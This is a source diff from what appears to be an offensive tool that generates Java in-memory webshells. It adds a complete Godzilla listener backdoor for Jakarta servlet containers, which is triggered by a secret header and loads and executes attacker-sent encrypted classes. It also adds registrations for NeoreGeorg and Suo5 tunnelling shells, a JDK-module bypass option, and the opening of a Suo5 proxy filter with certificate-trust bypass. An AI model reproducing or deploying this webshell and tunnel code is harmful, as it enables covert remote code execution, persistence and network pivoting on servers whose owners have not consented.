import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import jakarta.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author pen4uin
|
||||||
|
* @time 2024/8/25 14:25
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
static String md5;
|
||||||
|
public static String cs;
|
||||||
|
|
||||||
|
static {
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
cs = "UTF-8";
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaJakartaListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaJakartaListener(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
cs = "UTF-8";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
// f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
// 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败
|
||||||
|
response.flushBuffer();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception var8) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5(String s) {
|
||||||
|
String ret = null;
|
||||||
|
try {
|
||||||
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||||
|
m.update(s.getBytes(), 0, s.length());
|
||||||
|
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||||
|
} catch (Exception var3) {
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,10 +1,7 @@
|
|||||||
package jmg.godzilla.util;
|
package jmg.godzilla.util;
|
||||||
|
|
||||||
import jmg.core.config.Constants;
|
import jmg.core.config.Constants;
|
||||||
import jmg.godzilla.memshell.GodzillaFilter;
|
import jmg.godzilla.memshell.*;
|
||||||
import jmg.godzilla.memshell.GodzillaInterceptor;
|
|
||||||
import jmg.godzilla.memshell.GodzillaListener;
|
|
||||||
import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -35,12 +32,17 @@ public class ShellUtil {
|
|||||||
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
|
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
|
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
|
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName());
|
||||||
|
|
||||||
Map<String, String> godzillaMap = new HashMap();
|
Map<String, String> godzillaMap = new HashMap();
|
||||||
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
|
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
|
||||||
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
|
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
|
||||||
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
|
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
|
||||||
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
|
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
|
||||||
|
godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName());
|
||||||
|
godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName());
|
||||||
|
|
||||||
toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
|
toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
<grid id="27dc6" binding="jMGPanel" layout-manager="GridLayoutManager" row-count="7" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
<grid id="27dc6" binding="jMGPanel" layout-manager="GridLayoutManager" row-count="7" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
<margin top="0" left="0" bottom="0" right="0"/>
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
<constraints>
|
<constraints>
|
||||||
<xy x="20" y="20" width="863" height="665"/>
|
<xy x="20" y="20" width="891" height="665"/>
|
||||||
</constraints>
|
</constraints>
|
||||||
<properties/>
|
<properties/>
|
||||||
<border type="none"/>
|
<border type="none"/>
|
||||||
@@ -289,7 +289,7 @@
|
|||||||
</constraints>
|
</constraints>
|
||||||
<properties/>
|
<properties/>
|
||||||
</component>
|
</component>
|
||||||
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="5" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="6" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
<margin top="0" left="0" bottom="0" right="0"/>
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
<constraints>
|
<constraints>
|
||||||
<grid row="4" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
<grid row="4" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
@@ -345,12 +345,20 @@
|
|||||||
</component>
|
</component>
|
||||||
<component id="3a0da" class="javax.swing.JButton" binding="generateButton">
|
<component id="3a0da" class="javax.swing.JButton" binding="generateButton">
|
||||||
<constraints>
|
<constraints>
|
||||||
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
|
<grid row="0" column="5" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
</constraints>
|
</constraints>
|
||||||
<properties>
|
<properties>
|
||||||
<text resource-bundle="messages" key="generate.text"/>
|
<text resource-bundle="messages" key="generate.text"/>
|
||||||
</properties>
|
</properties>
|
||||||
</component>
|
</component>
|
||||||
|
<component id="61ba3" class="javax.swing.JCheckBox" binding="bypassJDKModuleCheckBox" default-binding="true">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text value="Bypass JDK Module"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
</children>
|
</children>
|
||||||
</grid>
|
</grid>
|
||||||
<grid id="61400" binding="TipPanel" layout-manager="GridLayoutManager" row-count="1" column-count="3" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
<grid id="61400" binding="TipPanel" layout-manager="GridLayoutManager" row-count="1" column-count="3" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
|
|||||||
@@ -65,6 +65,7 @@ public class jMGForm {
|
|||||||
private JPanel BottomPanel;
|
private JPanel BottomPanel;
|
||||||
private JPanel TipPanel;
|
private JPanel TipPanel;
|
||||||
private JTextPane textPane;
|
private JTextPane textPane;
|
||||||
|
private JCheckBox bypassJDKModuleCheckBox;
|
||||||
|
|
||||||
private AbstractConfig config;
|
private AbstractConfig config;
|
||||||
|
|
||||||
@@ -106,7 +107,7 @@ public class jMGForm {
|
|||||||
public jMGForm() {
|
public jMGForm() {
|
||||||
config = new AbstractConfig();
|
config = new AbstractConfig();
|
||||||
|
|
||||||
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER};
|
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER,Constants.SHELL_JAKARTA_FILTER};
|
||||||
String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS};
|
String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS};
|
||||||
String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC};
|
String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC};
|
||||||
String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR};
|
String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR};
|
||||||
@@ -289,7 +290,12 @@ public class jMGForm {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
bypassJDKModuleCheckBox.addItemListener(new ItemListener() {
|
||||||
|
@Override
|
||||||
|
public void itemStateChanged(ItemEvent e) {
|
||||||
|
config.setEnableBypassJDKModule(bypassJDKModuleCheckBox.isSelected());
|
||||||
|
}
|
||||||
|
});
|
||||||
generateButton.addActionListener(new ActionListener() {
|
generateButton.addActionListener(new ActionListener() {
|
||||||
@Override
|
@Override
|
||||||
public void actionPerformed(ActionEvent e) {
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
|||||||
@@ -23,6 +23,8 @@ public class ResultUtil {
|
|||||||
case Constants.SHELL_LISTENER:
|
case Constants.SHELL_LISTENER:
|
||||||
case Constants.SHELL_FILTER:
|
case Constants.SHELL_FILTER:
|
||||||
case Constants.SHELL_INTERCEPTOR:
|
case Constants.SHELL_INTERCEPTOR:
|
||||||
|
case Constants.SHELL_JAKARTA_LISTENER:
|
||||||
|
case Constants.SHELL_JAKARTA_FILTER:
|
||||||
TextPaneUtil.successPrintln("基础信息:");
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
TextPaneUtil.rawPrintln("");
|
TextPaneUtil.rawPrintln("");
|
||||||
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
|
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
|
||||||
|
|||||||
@@ -44,6 +44,11 @@ public class NeoreGeorgGenerator implements IShellGenerator {
|
|||||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
}
|
}
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
bytes = ctClass.toBytecode();
|
bytes = ctClass.toBytecode();
|
||||||
ctClass.detach();
|
ctClass.detach();
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,9 +1,7 @@
|
|||||||
package jmg.neoregeorg.util;
|
package jmg.neoregeorg.util;
|
||||||
|
|
||||||
import jmg.core.config.Constants;
|
import jmg.core.config.Constants;
|
||||||
import jmg.neoregeorg.memshell.NeoreGeorgFilter;
|
import jmg.neoregeorg.memshell.*;
|
||||||
import jmg.neoregeorg.memshell.NeoreGeorgInterceptor;
|
|
||||||
import jmg.neoregeorg.memshell.NeoreGeorgListener;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -33,10 +31,15 @@ public class ShellUtil {
|
|||||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaListener.class.getSimpleName(), NeoreGeorgJakartaListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaFilter.class.getSimpleName(), NeoreGeorgJakartaFilter.class.getName());
|
||||||
|
|
||||||
Map<String, String> regeorgMap = new HashMap();
|
Map<String, String> regeorgMap = new HashMap();
|
||||||
regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
|
regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
|
||||||
regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
|
regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
|
||||||
regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
|
regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
|
||||||
|
regeorgMap.put(Constants.SHELL_JAKARTA_FILTER, NeoreGeorgJakartaFilter.class.getSimpleName());
|
||||||
|
regeorgMap.put(Constants.SHELL_JAKARTA_LISTENER, NeoreGeorgJakartaListener.class.getSimpleName());
|
||||||
toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
|
toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ public class SDKTest {
|
|||||||
// 必需的基础配置
|
// 必需的基础配置
|
||||||
AbstractConfig config = new AbstractConfig() {{
|
AbstractConfig config = new AbstractConfig() {{
|
||||||
// 设置工具类型
|
// 设置工具类型
|
||||||
setToolType(Constants.TOOL_GODZILLA);
|
setToolType(Constants.TOOL_BEHINDER);
|
||||||
// 设置中间件 or 框架
|
// 设置中间件 or 框架
|
||||||
setServerType(Constants.SERVER_TOMCAT);
|
setServerType(Constants.SERVER_TOMCAT);
|
||||||
// 设置内存马类型
|
// 设置内存马类型
|
||||||
|
|||||||
@@ -46,6 +46,11 @@ public class Suo5Generator implements IShellGenerator {
|
|||||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
}
|
}
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
bytes = ctClass.toBytecode();
|
bytes = ctClass.toBytecode();
|
||||||
ctClass.detach();
|
ctClass.detach();
|
||||||
|
|||||||
@@ -0,0 +1,553 @@
|
|||||||
|
package jmg.suo5.memshell;
|
||||||
|
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import javax.servlet.*;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.security.cert.CertificateException;
|
||||||
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
public class Suo5JakartaFilter implements Filter, Runnable, HostnameVerifier, X509TrustManager {
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public static HashMap addrs = collectAddr();
|
||||||
|
public static HashMap ctx = new HashMap();
|
||||||
|
|
||||||
|
InputStream gInStream;
|
||||||
|
OutputStream gOutStream;
|
||||||
|
|
||||||
|
public Suo5JakartaFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5JakartaFilter(InputStream in, OutputStream out) {
|
||||||
|
this.gInStream = in;
|
||||||
|
this.gOutStream = out;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException {
|
||||||
|
|
||||||
|
try {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) sReq;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) sResp;
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String contentType = request.getHeader("Content-Type");
|
||||||
|
if (contentType == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (contentType.equals("application/plain")) {
|
||||||
|
tryFullDuplex(request, response);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (contentType.equals("application/octet-stream")) {
|
||||||
|
processDataBio(request, response);
|
||||||
|
} else {
|
||||||
|
processDataUnary(request, response);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
// System.out.printf("process data error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
chain.doFilter(sReq, sResp);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
chain.doFilter(sReq, sResp);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||||
|
int bufferOffset = 0;
|
||||||
|
while (bufferOffset < b.length) {
|
||||||
|
int readLength = b.length - bufferOffset;
|
||||||
|
int readResult = is.read(b, bufferOffset, readLength);
|
||||||
|
if (readResult == -1) break;
|
||||||
|
bufferOffset += readResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||||
|
InputStream in = request.getInputStream();
|
||||||
|
byte[] data = new byte[32];
|
||||||
|
readFull(in, data);
|
||||||
|
OutputStream out = response.getOutputStream();
|
||||||
|
out.write(data);
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private HashMap newCreate(byte s) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x04});
|
||||||
|
m.put("s", new byte[]{s});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newData(byte[] data) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x01});
|
||||||
|
m.put("dt", data);
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newDel() {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x02});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newStatus(byte b) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("s", new byte[]{b});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] u32toBytes(int i) {
|
||||||
|
byte[] result = new byte[4];
|
||||||
|
result[0] = (byte) (i >> 24);
|
||||||
|
result[1] = (byte) (i >> 16);
|
||||||
|
result[2] = (byte) (i >> 8);
|
||||||
|
result[3] = (byte) (i /*>> 0*/);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int bytesToU32(byte[] bytes) {
|
||||||
|
return ((bytes[0] & 0xFF) << 24) |
|
||||||
|
((bytes[1] & 0xFF) << 16) |
|
||||||
|
((bytes[2] & 0xFF) << 8) |
|
||||||
|
((bytes[3] & 0xFF) << 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void put(String k, Object v) {
|
||||||
|
ctx.put(k, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object get(String k) {
|
||||||
|
return ctx.get(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object remove(String k) {
|
||||||
|
return ctx.remove(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
|
int newLength = to - from;
|
||||||
|
if (newLength < 0) {
|
||||||
|
throw new IllegalArgumentException(from + " > " + to);
|
||||||
|
}
|
||||||
|
byte[] copy = new byte[newLength];
|
||||||
|
int copyLength = Math.min(original.length - from, newLength);
|
||||||
|
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||||
|
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||||
|
for (int i = 0; i < copyLength; i++) {
|
||||||
|
copy[i] = original[from + i];
|
||||||
|
}
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] marshal(HashMap m) throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
Object[] keys = m.keySet().toArray();
|
||||||
|
for (int i = 0; i < keys.length; i++) {
|
||||||
|
String key = (String) keys[i];
|
||||||
|
byte[] value = (byte[]) m.get(key);
|
||||||
|
buf.write((byte) key.length());
|
||||||
|
buf.write(key.getBytes());
|
||||||
|
buf.write(u32toBytes(value.length));
|
||||||
|
buf.write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] data = buf.toByteArray();
|
||||||
|
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||||
|
dbuf.putInt(data.length);
|
||||||
|
// xor key
|
||||||
|
byte key = data[data.length / 2];
|
||||||
|
dbuf.put(key);
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
data[i] = (byte) (data[i] ^ key);
|
||||||
|
}
|
||||||
|
dbuf.put(data);
|
||||||
|
return dbuf.array();
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap unmarshal(InputStream in) throws Exception {
|
||||||
|
byte[] header = new byte[4 + 1]; // size and datatype
|
||||||
|
readFull(in, header);
|
||||||
|
// read full
|
||||||
|
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||||
|
int len = bb.getInt();
|
||||||
|
int x = bb.get();
|
||||||
|
if (len > 1024 * 1024 * 32) {
|
||||||
|
throw new IOException("invalid len");
|
||||||
|
}
|
||||||
|
byte[] bs = new byte[len];
|
||||||
|
readFull(in, bs);
|
||||||
|
for (int i = 0; i < bs.length; i++) {
|
||||||
|
bs[i] = (byte) (bs[i] ^ x);
|
||||||
|
}
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
byte[] buf;
|
||||||
|
for (int i = 0; i < bs.length - 1; ) {
|
||||||
|
short kLen = bs[i];
|
||||||
|
i += 1;
|
||||||
|
if (i + kLen >= bs.length) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
if (kLen < 0) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + kLen);
|
||||||
|
String key = new String(buf);
|
||||||
|
i += kLen;
|
